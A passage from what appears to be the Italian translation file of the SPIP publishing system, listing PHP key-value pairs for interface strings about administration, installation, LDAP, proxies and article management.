di passare facilmente dal sito pubblico all’interfaccia privata.',
'info_admin_etre_webmestre' => 'Concedimi i privilegi di webmaster',
'info_admin_gere_rubriques' => 'Questo amministratore gestisce le seguenti rubriche:',
'info_admin_gere_toutes_rubriques' => 'Questo amministratore gestisce <b>tutte le rubriche</b>.',
'info_admin_gere_toutes_rubriques_2' => 'Io modifico <b>tutte le rubriche</b>',
'info_admin_je_suis_webmestre' => 'Sono <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Dai a questo amministratore i privilegi di webmaster',
'info_admin_webmestre' => 'Questo amministratore è un <b>webmaster</b>',
'info_administrateur' => 'Amministratore',
'info_administrateur_1' => 'Amministratore',
'info_administrateur_2' => 'del sito (<i>da utilizzare con prudenza</i>)',
'info_administrateur_site_01' => 'Se sei amministratore del sito,',
'info_administrateur_site_02' => 'clicca qui',
'info_administrateurs' => 'Amministratori',
'info_administrer_rubrique' => 'Puoi amministrare questa rubrica',
'info_adresse' => 'all’indirizzo:',
'info_adresse_url' => 'Indirizzo (URL) del sito pubblico',
'info_afficher_par_nb' => 'Mostra',
'info_afficher_visites' => 'Visualizzare le visite per:',
'info_aide_en_ligne' => 'Guida in linea SPIP',
'info_ajout_image' => 'Quando aggiungi delle immagini come documenti allegati ad un articolo,
SPIP può creare delle thumbnail (miniature) delle
immagini inserite. Ciò permette ad esempio di creare in automatico una galleria di immagini o un portfolio.',
'info_ajout_participant' => 'Si è aggiunto il seguente partecipante:',
'info_ajouter_rubrique' => 'Aggiungi un’altra rubrica da amministrare:',
'info_annonce_nouveautes' => 'Annuncio delle novità',
'info_anterieur' => 'anteriore',
'info_article' => 'articolo',
'info_article_2' => 'articoli',
'info_article_a_paraitre' => 'Gli articoli postdatati da pubblicare',
'info_articles_02' => 'articoli',
'info_articles_2' => 'Articoli',
'info_articles_auteur' => 'Articoli di questo autore',
'info_articles_miens' => 'I miei articoli',
'info_articles_tous' => 'Tutti gli articoli',
'info_articles_trouves' => 'Articoli trovati',
'info_articles_trouves_dans_texte' => 'Articoli trovati (ricerca nel testo)',
'info_attente_validation' => 'I tuoi articoli in attesa di convalida',
'info_aucun_article' => 'Nessun articolo',
'info_aucun_article_syndique' => 'Nessun articolo in syndication',
'info_aucun_auteur' => 'Nessun autore',
'info_aucun_message' => 'Nessun messaggio',
'info_aucun_rubrique' => 'Nessuna rubrica',
'info_aucun_site' => 'Nessun sito',
'info_aucun_visiteur' => 'Nessun visitatore',
'info_aujourdhui' => 'oggi: ',
'info_auteur_message' => 'AUTORE DEL MESSAGGIO:',
'info_auteurs' => 'Gli autori',
'info_auteurs_par_tri' => 'Autori@partri@',
'info_auteurs_trouves' => 'Autori trovati',
'info_authentification_externe' => 'Autenticazione esterna',
'info_avertissement' => 'Avvertimento',
'info_barre_outils' => 'con la barra degli strumenti?',
'info_base_installee' => 'La struttura del vostro database è installata.',
'info_bio' => 'Biografia',
'info_cache_desactive' => 'La cache è temporaneamente disattivata',
'info_chapeau' => 'Introduzione',
'info_chapeau_2' => 'Introduzione:',
'info_chemin_acces_1' => 'Opzioni: <b>Percorso d’accesso ai dati nell’elenco</b>',
'info_chemin_acces_2' => 'È necessario specificare il percorso per accedere ai dati nell’elenco. Questa informazione è indispensabile al fine di leggere i profili utente in esso contenuti.',
'info_chemin_acces_annuaire' => 'Opzioni: <b>Percorso d’accesso ai dati nell’elenco</b>',
'info_choix_base' => 'Terza fase: ',
'info_classement_1' => '<sup>o</sup> su @liste@',
'info_classement_2' => '<sup>o</sup> su @liste@',
'info_code_acces' => 'Non dimenticare i tuoi codici d’accesso!',
'info_compatibilite_html' => 'Schema HTML da seguire',
'info_compresseur_gzip' => 'Si raccomanda di verificare se il provider comprime già in maniera sistematica gli script PHP. A tal fine è possibile utilizzare, per esempio, il seguente servizio: @testgzip@',
'info_compresseur_texte' => 'Se il proprio server non comprime automaticamente le pagine HTML per inviarle ai visitatori, è possibile tentare di forzare la compressione per diminuire il peso delle pagine da scaricare. <b>Attenzione</b>: ciò può rallentare notevolmente alcuni server.',
'info_config_suivi' => 'Se questo indirizzo corrisponde a una mailing-list, è possibile indicare qui sotto l’indirizzo al quale i partecipanti del sito possono iscriversi. Questo indirizzo può essere una URL (per esempio la pagina di iscrizione via Web alla lista), oppure un indirizzo email che contiene un Oggetto specifico (per esempio: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'È possibile abbonarsi alla mailing-list di questo sito. Verranno spedite per email le notifiche degli articoli e delle brevi proposte per la pubblicazione.',
'info_confirmer_passe' => 'Conferma la nuova password:',
'info_conflit_edition_avis_non_sauvegarde' => 'Attenzione, i campi seguenti sono già stati modificati. Quindi le vostre modifiche su questi campi non sono state registrate.',
'info_conflit_edition_differences' => 'Differenze:',
'info_conflit_edition_version_enregistree' => 'La versione registrata:',
'info_conflit_edition_votre_version' => 'La tua versione:',
'info_connexion_base' => 'Prova di connessione al database',
'info_connexion_base_donnee' => 'Connessione al proprio database',
'info_connexion_ldap_ok' => '<b>La connessione LDAP è riuscita.</b><p> È possibile passare alla fase successiva.</p>',
'info_connexion_mysql' => 'La connessione a SQL',
'info_connexion_ok' => 'La connessione è riuscita.',
'info_contact' => 'Contatti',
'info_contenu_articles' => 'Contentuto degli articoli',
'info_contributions' => 'Contributi',
'info_creation_paragraphe' => 'Per creare dei paragrafi indipendenti, lasciare fra loro delle righe vuote.',
'info_creation_rubrique' => 'Prima di poter scrivere degli articoli, <br />devi creare almeno una rubrica.<br />',
'info_creation_tables' => 'Creazione delle tabelle nel database',
'info_creer_base' => '<b>Creare</b> un nuovo database:',
'info_dans_rubrique' => 'Nella rubrica:',
'info_date_publication_anterieure' => 'Data di redazione anteriore:',
'info_date_referencement' => 'DATA DI INSERIMENTO IN REPERTORIO DI QUESTO SITO:',
'info_derniere_etape' => 'Finito!',
'info_derniers_articles_publies' => 'I tuoi ultimi articoli pubblicati',
'info_desactiver_messagerie_personnelle' => 'Puoi attivare o disattivare il sistema di messaggistica personale su questo sito.',
'info_descriptif' => 'Descrizione:',
'info_desinstaller_plugin' => 'elimina i dati e disattiva il plug-in',
'info_discussion_cours' => 'Discussioni in corso',
'info_ecrire_article' => 'Prima di poter scrivere degli articoli, devi creare almeno una rubrica.',
'info_email_envoi' => 'Indirizzo email del mittente (opzionale)',
'info_email_envoi_txt' => 'Indicare qui l’indirizzo da utilizzare per l’invio degli email (come impostazione predefinita l’indirizzo del destinatario sarà utilizzato come indirizzo del mittente):',
'info_email_webmestre' => 'Indirizzo email del webmaster',
'info_entrer_code_alphabet' => 'Inserisci il codice dell’alfabeto da utilizzare:',
'info_envoi_email_automatique' => 'Invio di email automatico',
'info_envoyer_maintenant' => 'Invia adesso',
'info_etape_suivante' => 'Passare alla fase successiva',
'info_etape_suivante_1' => 'Puoi passare alla fase successiva.',
'info_etape_suivante_2' => 'Puoi passare alla fase successiva.',
'info_exceptions_proxy' => 'Eccezioni per il proxy',
'info_exportation_base' => 'esportazione del database verso @archive@',
'info_facilite_suivi_activite' => 'Al fine di facilitare il monitoraggio
dell’attività editoriale del sito, SPIP può far pervenire via email,
per esempio ad una mailing-list dei redattori, l’annuncio delle domande di
pubblicazione e di convalida degli articoli.',
'info_fichiers_authent' => 'File d’autenticazione ".htpasswd"',
'info_forums_abo_invites' => 'Il sito comprende dei forum accessibili solo a utenti registrati. Nel sito pubblico è quindi presente una pagina d’iscrizione.',
'info_gauche_admin_effacer' => '<b>Questa pagina è accessibile solo ai responsabili del sito.</b><p> Permette l’accesso alle diverse funzioni di manutenzione tecnica. Alcune di esse richiedono una specifica procedura di identificazione, eseguibile grazie a un accesso FTP.</p>',
'info_gauche_admin_tech' => '<b>Questa pagina è accessibile solo ai responsabili del sito.</b><p> Permette l’accesso alle diverse funzioni
di manutenzione tecnica. Alcune di esse richiedono una specifica procedura di identificazione,
eseguibile grazie a un accesso FTP.</p>',
'info_gauche_admin_vider' => '<b>Questa pagina è accessibile solo ai responsabili del sito.</b><p> Permette l’accesso alle diverse funzioni di manutenzione tecnica.
Alcune di esse richiedono una specifica procedura di identificazione, eseguibile grazie ad un accesso FTP.</p>',
'info_gauche_auteurs' => 'Elenco di tutti gli autori del sito.
Il loro status è indicato dal colore dell’icona (redattore = giallo; amministratore = verde).',
'info_gauche_auteurs_exterieurs' => 'Gli autori esterni, senza accesso al sito, sono indicati da un’icona blu;
gli autori eliminati da un’icona grigia.',
'info_gauche_messagerie' => 'Il sistema di messaggistica permette di scambiare dei messaggi tra redattori, di conservare dei memo (promemoria ad uso personale) o di pubblicare degli annunci nel pannello di controllo dell’area riservata (se sei amministratore).',
'info_gauche_numero_auteur' => 'AUTORE NUMERO',
'info_gauche_statistiques_referers' => 'Questa pagina presenta un elenco dei siti che contengono link verso il tuo (<i>referrer</i>). Questo elenco è valido però solo per oggi essendo azzerato ogni 24 ore.',
'info_gauche_visiteurs_enregistres' => 'Trovi qui i visitatori registrati allo spazio
pubblico del sito (forum su abbonamento).',
'info_generation_miniatures_images' => 'Generazione di thumbnail di immagini',
'info_gerer_trad' => 'Gestire i link di traduzione?',
'info_gerer_trad_objets' => '@objets@ : gestire i collegamenti alle traduzioni',
'info_hebergeur_desactiver_envoi_email' => 'Alcuni hoster disattivano l’invio automatico di email
dai loro server. In questo caso, le funzionalità di SPIP di seguito riportate non funzioneranno.',
'info_hier' => 'ieri:',
'info_historique_activer' => 'Attivare la gestione delle revisioni',
'info_historique_affiche' => 'Visualizzare questa versione',
'info_historique_comparaison' => 'confronto',
'info_historique_desactiver' => 'Disattivare la gestione delle revisioni',
'info_historique_texte' => 'La gestione delle revisioni permette di conservare traccia di tutte le modifiche effettuate su un articolo, mostrando le differenze fra le sue versioni successive.',
'info_identification_publique' => 'La tua identità pubblica...',
'info_image_process' => 'Seleziona il metodo migliore per la creazione delle anteprime cliccando sull’immagine corrispondente.',
'info_image_process2' => 'Se non appare alcuna immagine, significa che la configurazione del server non permette l’uso di alcune funzioni grafiche. Se si desidera utilizzarle, rivolgersi al responsabile tecnico chiedendo di installare le estensioni «GD» o «Imagick».',
'info_images_auto' => 'Immagini elaborate automaticamente',
'info_informations_personnelles' => 'Informazioni personali',
'info_inscription_automatique' => 'Iscrizione automatica di nuovi redattori',
'info_jeu_caractere' => 'Set di caratteri del sito',
'info_jours' => 'giorni',
'info_laisser_champs_vides' => 'lasciare questi campi vuoti)',
'info_langues' => 'Lingua del sito',
'info_ldap_ok' => 'L’autenticazione LDAP è installata.',
'info_lien_hypertexte' => 'Link ipertestuale:',
'info_liste_nouveautes_envoyee' => 'La lista delle novità è stata inviata',
'info_liste_redacteurs_connectes' => 'Elenco dei redattori collegati',
'info_login_existant' => 'Questo login esiste già.',
'info_login_trop_court' => 'Login troppo corto.',
'info_login_trop_court_car_pluriel' => 'La login deve contenere almeno @nb@ caratteri.',
'info_logos' => 'I logo',
'info_maximum' => 'massimo:',
'info_meme_rubrique' => 'Nella stessa rubrica',
'info_message' => 'Messaggio del ',
'info_message_efface' => 'MESSAGGIO CANCELLATO',
'info_message_en_redaction' => 'I tuoi messaggi in corso di redazione',
'info_message_technique' => 'Messaggio tecnico:',
'info_messagerie_interne' => 'Sistema di messaggistica interna',
'info_mise_a_niveau_base' => 'aggiornamento del database SQL',
'info_mise_a_niveau_base_2' => '{{Attenzione!}} È stata installata una versione
dei file di SPIP {precedente} rispetto a quella che era in uso per questo sito:
le informazioni contenute nel database sono probabilmente andate perse.<br />{{Reinstallare i file di SPIP.}}',
'info_modification_enregistree' => 'Le modifiche sono state salvate',
'info_modifier_auteur' => 'Modifica l’autore:',
'info_modifier_rubrique' => 'Modifica la rubrica:',
'info_modifier_titre' => 'Modifica: @titre@',
'info_mon_site_spip' => 'Il mio sito SPIP',
'info_mot_sans_groupe' => '(Parole chiave senza gruppo...)',
'info_moteur_recherche' => 'Motore di ricerca integrato',
'info_moyenne' => 'media: ',
'info_multi_articles' => 'Attivare il menu della lingua negli articoli?',
'info_multi_cet_article' => 'Lingua di questo articolo:',
'info_multi_langues_choisies' => 'Selezionare di seguito le lingue disponibili per i redattori del sito.
Le lingue già utilizzate nel sito (visualizzate per prime) non possono essere disattivate.',
'info_multi_objets' => '@objets@ : attiva il menù delle lingue',
'info_multi_rubriques' => 'Attivare il menu della lingua nelle rubriche?',
'info_multi_secteurs' => '... solo per le rubriche collocate nella {root} del sito?',
'info_nb_articles' => '@nb@ articoli',
'info_nb_articles_syndiques' => '@nb@ articoli in syndication',
'info_nb_auteurs' => '@nb@ autori',
'info_nb_messages' => '@nb@ messaggi',
'info_nb_mots_cles' => '@nb@ parole chiave',
'info_nb_rubriques' => '@nb@ rubriche',
'info_nb_sites' => '@nb@ siti',
'info_nb_visiteurs' => '@nb@ visitatori',
'info_nom' => 'Nome',
'info_nom_destinataire' => 'Nome del destinatario',
'info_nom_pas_conforme' => 'I tag html non sono consentiti',
'info_nom_site' => 'Nome del tuo sito',
'info_nombre_articles' => '@nb_articles@ articoli,',
'info_nombre_partcipants' => 'PARTECIPANTI ALLA DISCUSSIONE:',
'info_nombre_rubriques' => '@nb_rubriques@ rubriche,',
'info_nombre_sites' => '@nb_sites@ siti, ',
'info_non_deplacer' => 'Non spostare...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP può inviare regolarmente annunci sulle ultime novità del sito
(articoli e brevi recentemente pubblicati).',
'info_non_envoi_liste_nouveautes' => 'Non inviare l’elenco delle novità',
'info_non_modifiable' => 'non può essere modificato',
'info_non_suppression_mot_cle' => 'non voglio cancellare questa parola chiave.',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Note',
'info_nouveaux_message' => 'Nuovi messaggi',
'info_nouvel_article' => 'Nuovo articolo',
'info_nouvelle_traduction' => 'Nuova traduzione:',
'info_numero_article' => 'ARTICOLO NUMERO:',
'info_obligatoire_02' => '(Obbligatorio)',
'info_option_accepter_visiteurs' => 'Accetta l’iscrizione di utenti del sito pubblico',
'info_option_faire_suivre' => 'Segnala i nuovi messaggi',
'info_option_ne_pas_accepter_visiteurs' => 'Rifiuta l’iscrizione di utenti',
'info_options_avancees' => 'OPZIONE AVANZATA',
'info_ortho_activer' => 'Attivare il controllo ortografico',
'info_ortho_desactiver' => 'Disattivare il controllo ortografico',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina riservata',
'info_par_nom' => 'per nome',
'info_par_nombre_article' => 'per numero di articoli',
'info_par_statut' => 'per status',
'info_par_tri' => '’(per @tri@)’',
'info_passe_trop_court' => 'Password troppo corta.',
'info_passe_trop_court_car_pluriel' => 'La password deve contenere almeno @nb@ caratteri.',
'info_passes_identiques' => 'Le due password non sono uguali.',
'info_pense_bete_ancien' => 'I tuoi vecchi memo',
'info_plus_cinq_car' => 'più di 5 caratteri',
'info_plus_cinq_car_2' => '(Più di 5 caratteri)',
'info_plus_trois_car' => '(Più di 3 caratteri)',
'info_popularite' => 'popolarità: @popularite@; visite: @visites@',
'info_popularite_4' => 'popolarità: @popularite@; visite: @visites@',
'info_post_scriptum' => 'Post Scriptum',
'info_post_scriptum_2' => 'Post Scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Solo gli amministratori possono visualizzare l’anteprima del sito',
'info_preview_comite' => 'Tutti i redattori possono visualizzare l’anteprima del sito',
'info_preview_desactive' => 'L’anteprima del sito è totalmente disattivata',
'info_preview_texte' => 'È possibile visualizzare un’anteprima del sito comprendente anche gli articoli e le brevi "proposti" per la pubblicazione. Questa funzionalità può essere disattivata, consentita solo agli amministratori o a tutti i redattori.',
'info_principaux_correspondants' => 'Corrispondenti principali',
'info_procedez_par_etape' => 'procedere passo dopo passo',
'info_procedure_maj_version' => 'è necessario avviare la procedura di aggiornamento per adattare
il database alla nuova versione di SPIP.',
'info_proxy_ok' => 'Test del proxy riuscito.',
'info_ps' => 'P.S.',
'info_publier' => 'pubblicare',
'info_publies' => 'I tuoi articoli pubblicati',
'info_question_accepter_visiteurs' => 'I modelli di pagina del sito prevedono la registrazione di utenti senza accesso all’area riservata. Attivare la seguente funzionalità:',
'info_question_inscription_nouveaux_redacteurs' => 'Vuoi accettare le iscrizioni di nuovi redattori direttamente dal sito pubblico?
In caso affermativo, i visitatori potranno iscriversi grazie ad un modulo automatizzato e accedere all’area riservata per proporre i propri articoli.
<div class="notice">Durante il processo d’iscrizione, gli utenti riceveranno un email che fornisce loro i codici d’accesso all’area privata. Alcuni servizi di hosting disattivano l’invio di email dai propri server: in questo caso l’iscrizione automatica non può essere attivata.</div>',
'info_question_utilisation_moteur_recherche' => 'Desideri utilizzare il motore di ricerca integrato di SPIP?
(disattivandolo viene velocizzato il funzionamento del sistema)',
'info_question_vignettes_referer_non' => 'Non visualizzare la cattura dello schermo dei siti di origine delle visite',
'info_qui_edite' => '@nom_auteur_modif@ ha lavorato su questo contenuto @date_diff@ minuti fa',
'info_racine_site' => 'Root del sito',
'info_recharger_page' => 'Aggiorna questa pagina fra qualche istante.',
'info_recherche_auteur_a_affiner' => 'Troppi risultati per "@cherche_auteur@"; restringi la ricerca.',
'info_recherche_auteur_ok' => 'Molti redattori trovati per "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Nessun risultato per "@cherche_auteur@".',
'info_recommencer' => 'Ricomincia.',
'info_redacteur_1' => 'Redattori',
'info_redacteur_2' => 'avendo accesso allo spazio privato (<i>raccommandato</i>)',
'info_redacteurs' => 'Redattori',
'info_redaction_en_cours' => 'IN CORSO DI REDAZIONE',
'info_redirection' => 'Reindirizzamento',
'info_redirection_activee' => 'Il reindirizzamento è attivato.',
'info_redirection_desactivee' => 'Il reindirizzamento è stato cancellato.',
'info_refuses' => 'I tuoi articoli rifiutati',
'info_reglage_ldap' => 'Opzioni: <b>Parametri per l’importazione LDAP</b>',
'info_renvoi_article' => '<b>Reindirizzamento.</b> Quest’articolo rimanda alla pagina:',
'info_reserve_admin' => 'Solo gli amministratori possono modificare quest’indirizzo.',
'info_restreindre_rubrique' => 'Limita la facoltà di gestione alla rubrica:',
'info_resultat_recherche' => 'Risultati della ricerca:',
'info_rubriques' => 'Rubriche',
'info_rubriques_02' => 'rubriche',
'info_rubriques_trouvees' => 'Rubriche trovate',
'info_rubriques_trouvees_dans_texte' => 'Rubriche trovate (ricerca nel testo)',
'info_sans_titre' => 'Senza titolo',
'info_selection_chemin_acces' => '<b>Seleziona</b> qui sotto il percorso d’accesso nell’elenco:',
'info_signatures' => 'firme',
'info_site' => 'Sito',
'info_site_2' => 'sito: ',
'info_site_min' => 'sito',
'info_site_reference_2' => 'Sito repertoriato',
'info_site_web' => 'Sito Web:',
'info_sites' => 'siti',
'info_sites_lies_mot' => 'I siti in repertorio legati a questa parola chiave',
'info_sites_proxy' => 'Utilizza un proxy',
'info_sites_trouves' => 'Siti trovati',
'info_sites_trouves_dans_texte' => 'Siti trovati (nel testo)',
'info_sous_titre' => 'Sottotitolo:',
'info_statut_administrateur' => 'Amministratore',
'info_statut_auteur' => 'Status di questo autore:',
'info_statut_auteur_2' => 'Io sono',
'info_statut_auteur_a_confirmer' => 'Iscrizione da confermare',
'info_statut_auteur_autre' => 'Altro stato:',
'info_statut_efface' => 'Cancellato',
'info_statut_redacteur' => 'Redattore',
'info_statut_utilisateurs_1' => 'Status predefinito degli utenti importati',
'info_statut_utilisateurs_2' => 'Scegli lo status da attribuire alle personne presenti nell’elenco LDAP quando si collegano per la prima volta. Potrai poi modificare questa impostazione per ogni singolo autore.',
'info_suivi_activite' => 'Monitoraggio dell’attività editoriale',
'info_surtitre' => 'Occhiello:',
'info_syndication_integrale_1' => 'Il tuo sito propone dei file di syndication (vedi « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Si desidera trasmettere gli articoli in versione integrale oppure in versione riassunta di un centinaio di caratteri?',
'info_table_prefix' => 'È possibile modificare il prefisso del nome delle tabelle del database (cosa indispensabile se si desidera installare più siti usando il medesimo database). Questo prefisso si deve scrivere usando esclusivamente lettere minuscole, prive di accenti e senza alcuno spazio.',
'info_taille_maximale_images' => 'SPIP testerà la dimensione massima delle immagini che può manipolare (in milioni di pixel).<br /> Le immagini di dimensione maggiore non saranno ridotte.',
'info_taille_maximale_vignette' => 'Dimensione massima delle immagini create dal sistema:',
'info_terminer_installation' => 'Puoi ora terminare la procedura d’installazione standard.',
'info_texte' => 'Testo',
'info_texte_explicatif' => 'Testo esplicativo',
'info_texte_long' => '(il testo è lungo: è quindi visualizzato in più sezioni che verranno riunificate dopo la convalida)',
'info_texte_message' => 'Testo del tuo messaggio:',
'info_texte_message_02' => 'Testo del messaggio',
'info_titre' => 'Titolo:',
'info_total' => 'totale: ',
'info_tous_articles_en_redaction' => 'Tutti gli articoli in corso di redazione',
'info_tous_articles_presents' => 'Tutti gli articoli pubblicati in questa rubrica',
'info_tous_articles_refuses' => 'Tutti gli articoli rifiutati',
'info_tous_les' => 'tutti i:',
'info_tous_redacteurs' => 'Annunci a tutti i redattori',
'info_tout_site' => 'Tutto il sito',
'info_tout_site2' => 'L’articolo non è stato tradotto in questa lingua.',
'info_tout_site3' => 'L’articolo è stato tradotto in questa lingua, ma sono state effettuate alcune modifiche all’articolo di riferimento. La traduzione deve quindi essere aggiornata.',
'info_tout_site4' => 'L’articolo è stato tradotto in questa lingua e la traduzione è aggiornata.',
'info_tout_site5' => 'Articolo originale.',
'info_tout_site6' => '<b>Attenzione:</b> solo gli articoli originali vengono visualizzati.
Le traduzioni sono associate all’originale,
in un colore che indica il loro stato:',
'info_traductions' => 'Traduzioni',
'info_travail_colaboratif' => 'Lavoro di collaborazione sugli articoli',
'info_un_article' => 'un articolo, ',
'info_un_site' => 'un sito, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_proxy' => 'URL del proxy',
'info_url_site' => 'URL DEL SITO:',
'info_url_test_proxy' => 'URL di test',
'info_urlref' => 'Link ipertestuale:',
'info_utilisation_spip' => 'Puoi ora cominciare ad utilizzare il sistema di pubblicazione assistita...',
'info_visites_par_mois' => 'Visualizzazione per mese:',
'info_visiteur_1' => 'Visitatori',
'info_visiteur_2' => 'del sito pubblico',
'info_visiteurs' => 'Visitatori',
'info_visiteurs_02' => 'Visitatori del sito pubblico',
'info_webmestre_forces' => 'I webmaster sono attualmente definiti in <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Indirizzo del database attribuito dal provider',
'install_base_ok' => 'Il database @base@ è stato riconosciuto',
'install_connect_ok' => 'Il nuovo database è stato definito sul server @connect@.',
'install_echec_annonce' => 'L’installazione potrebbe fallire oppure causare problemi di funzionalità al sito...',
'install_extension_mbstring' => 'SPIP non funziona con:',
'install_extension_php_obligatoire' => 'SPIP esige l’estensione php:',
'install_login_base_hebergeur' => 'Login di connessione attribuito dal provider',
'install_nom_base_hebergeur' => 'Nome del database attribuito dal provider:',
'install_pas_table' => 'Database attualmente senza tabelle',
'install_pass_base_hebergeur' => 'Password di connessione attribuito dal provider',
'install_php_version' => 'PHP versione @version@ insufficiente (minimo = @minimum@)',
'install_select_langue' => 'Seleziona una lingua e poi clicca sul bottone « Avanti » per lanciare la procedura di installazione.',
'install_select_type_db' => 'Indicare il tipo di database:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Server del database attribuito dall’hoster',
'install_table_prefix_hebergeur' => 'Prefisso della tabella attribuito dal provider:',
'install_tables_base' => 'Tabelle del database',
'install_types_db_connus' => 'SPIP può utilizzare <b>MySQL</b> (il più diffuso) e <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'Il supporto a <b>PostgreSQL</b> è proposto a titolo sperimentale.',
'instituer_erreur_statut_a_change' => 'Lo status è già stato modificato',
'instituer_erreur_statut_non_autorise' => 'Non puoi selezionare questo stato',
'intem_redacteur' => 'redattore',
'intitule_licence' => 'Licenza',
'item_accepter_inscriptions' => 'Accetta le iscrizioni',
'item_activer_messages_avertissement' => 'Attiva i messaggi d’avvertimento',
'item_administrateur_2' => 'amministratore',
'item_afficher_calendrier' => 'Pubblica nel calendario',
'item_autoriser_documents_joints' => 'Consenti di allegare documenti agli articoli',
'item_autoriser_documents_joints_rubriques' => 'Consenti di allegare documenti alle rubriche',
'item_autoriser_syndication_integrale' => 'Diffondere la versione integrale degli articoli nei file di syndication',
'item_choix_administrateurs' => 'gli amministratori',
'item_choix_generation_miniature' => 'Genera automaticamente le thumbnail delle immagini.',
'item_choix_non_generation_miniature' => 'Non creare le thumbnail delle immagini.',
'item_choix_redacteurs' => 'i redattori',
'item_choix_visiteurs' => 'i visitatori del sito pubblico',
'item_creer_fichiers_authent' => 'Crea i file .htpasswd',
'item_limiter_recherche' => 'Limita la ricerca alle informazioni contenute nel tuo sito',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Attiva la messaggistica e l’agenda',
'item_mots_cles_association_articles' => 'agli articoli',
'item_mots_cles_association_rubriques' => 'alle rubriche',
'item_mots_cles_association_sites' => 'ai siti repertoriati o in syndication.',
'item_non' => 'No',
'item_non_accepter_inscriptions' => 'Non accettare le iscrizioni',
'item_non_activer_messages_avertissement' => 'Nessun messaggio d’avvertimento',
'item_non_afficher_calendrier' => 'Non pubblicare nel calendario',
'item_non_autoriser_documents_joints' => 'Non consentire di allegare documenti agli articoli',
'item_non_autoriser_documents_joints_rubriques' => 'Non consentire di allegare documenti alle rubriche',
'item_non_autoriser_syndication_integrale' => 'Diffondere solo un riassunto',
'item_non_compresseur' => 'Disattiva la compressione',
'item_non_creer_fichiers_authent' => 'Non creare questi file',
'item_non_gerer_statistiques' => 'Non gestire le statistiche',
'item_non_limiter_recherche' => 'Estendi la ricerca al contenuto dei siti in syndication',
'item_non_messagerie_agenda' => 'Disattiva la messaggistica e l’agenda',
'item_non_publier_articles' => 'Non pubblicare gli articoli prima della data impostata.',
'item_non_utiliser_moteur_recherche' => 'Non utilizzare il motore di ricerca',
'item_nouvel_auteur' => 'Nuovo autore',
'item_nouvelle_rubrique' => 'Nuova rubrica',
'item_oui' => 'Si',
'item_publier_articles' => 'Pubblica gli articoli indipendentemente dalla data impostata.',
'item_reponse_article' => 'Risposta all’articolo ',
'item_utiliser_moteur_recherche' => 'Utilizza il motore di ricerca',
'item_version_html_max_html4' => 'Limita a HTML4 sul sito pubblico',
'item_version_html_max_html5' => 'Consenti HTML5',
'item_visiteur' => 'visitatore',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barra degli strumenti',
'label_bando_outils_afficher' => 'Mostra gli strumenti',
'label_bando_outils_masquer' => 'Nascondi gli strumenti',
'label_choix_langue' => 'Seleziona la tua lingua',
'label_nom_fichier_connect' => 'Indica il nome per questo server',
'label_slogan_site' => 'Slogan del sito',
'label_taille_ecran' => 'Larghezza dello schermo',
'label_texte_et_icones_navigation' => 'Menù di naviagazione',
'label_texte_et_icones_page' => 'Visualizzazione nella pagina',
'ldap_correspondance' => 'mappa del campo @champ@',
'ldap_correspondance_1' => 'Mappa dei campi LDAP',
'ldap_correspondance_2' => 'Per ognuno dei seguenti campi SPIP, indicare il nome del campo LDAP corrispondente. Lasciare vuoto per non riempire, separare da spazi o da virgole per provare più campi LDAP.',
'lien_ajout_destinataire' => 'Aggiungi il destinatario',
'lien_ajouter_auteur' => 'Aggiungi questo autore',
'lien_ajouter_participant' => 'Aggiungi un partecipante',
'lien_ajouter_une_rubrique' => 'Aggiungi questa rubrica',
'lien_email' => 'email',
'lien_nom_site' => 'NOME DEL SITO:',
'lien_retirer_auteur' => 'Rimuovere l’autore',
'lien_retirer_rubrique' => 'Elimina la rubrica',
'lien_retirer_tous_auteurs' => 'Elimina tutti gli autori',
'lien_retirer_toutes_rubriques' => 'Rimuovi tutte le rubriche',
'lien_retrait_particpant' => 'rimuovere questo partecipante',
'lien_site' => 'sito',
'lien_supprimer_rubrique' => 'elimina la rubrica',
'lien_tout_deplier' => 'Espandi',
'lien_tout_replier' => 'Richiudi',
'lien_tout_supprimer' => 'Eliminare tutto',
'lien_trier_nom' => 'Ordina per nome',
'lien_trier_nombre_articles' => 'Ordina per numero di articoli',
'lien_trier_statut' => 'Ordina per status',
'lien_voir_en_ligne' => 'VEDI ON LINE:',
'logo_article' => 'Logo dell’articolo',
'logo_auteur' => 'Logo dell’autore',
'logo_rubrique' => 'Logo della rubrica',
'logo_site' => 'Logo di questo sito',
'logo_standard_rubrique' => 'Logo standard delle rubriche',
'logo_survol' => 'Logo per il rollover',
// M
'menu_aide_installation_choix_base' => 'Scegliere il database',
'module_fichier_langue' => 'File lingua',
'module_raccourci' => 'Scorciatoia',
'module_texte_affiche' => 'Testo visualizzato',
'module_texte_explicatif' => 'È possibile inserire le scorciatoie nel modello di layout del proprio sito pubblico. Queste verranno tradotte automaticamente nelle diverse lingue (se esiste già un file lingua).',
'module_texte_traduction' => 'Il file lingua «@module@» è disponibile in:',
'mois_non_connu' => 'sconosciuto',
// N
'nouvelle_version_spip' => 'La versione @version@ di SPIP è disponibile',
// O
'onglet_contenu' => 'Contenuto',
'onglet_declarer_une_autre_base' => 'Dichiarare un altro database',
'onglet_discuter' => 'Discuti',
'onglet_documents' => 'Documenti',
'onglet_interactivite' => 'Interattività',
'onglet_proprietes' => 'Proprietà',
'onglet_repartition_actuelle' => 'attualmente',
'onglet_sous_rubriques' => 'Sotto-rubriche',
// P
'page_pas_proxy' => 'Questa pagina non deve passare attraverso il proxy',
'pas_de_proxy_pour' => 'Se necessario, indicare i server o i domini per i quali non si deve applicare questo proxy (per esempio: @exemple@)',
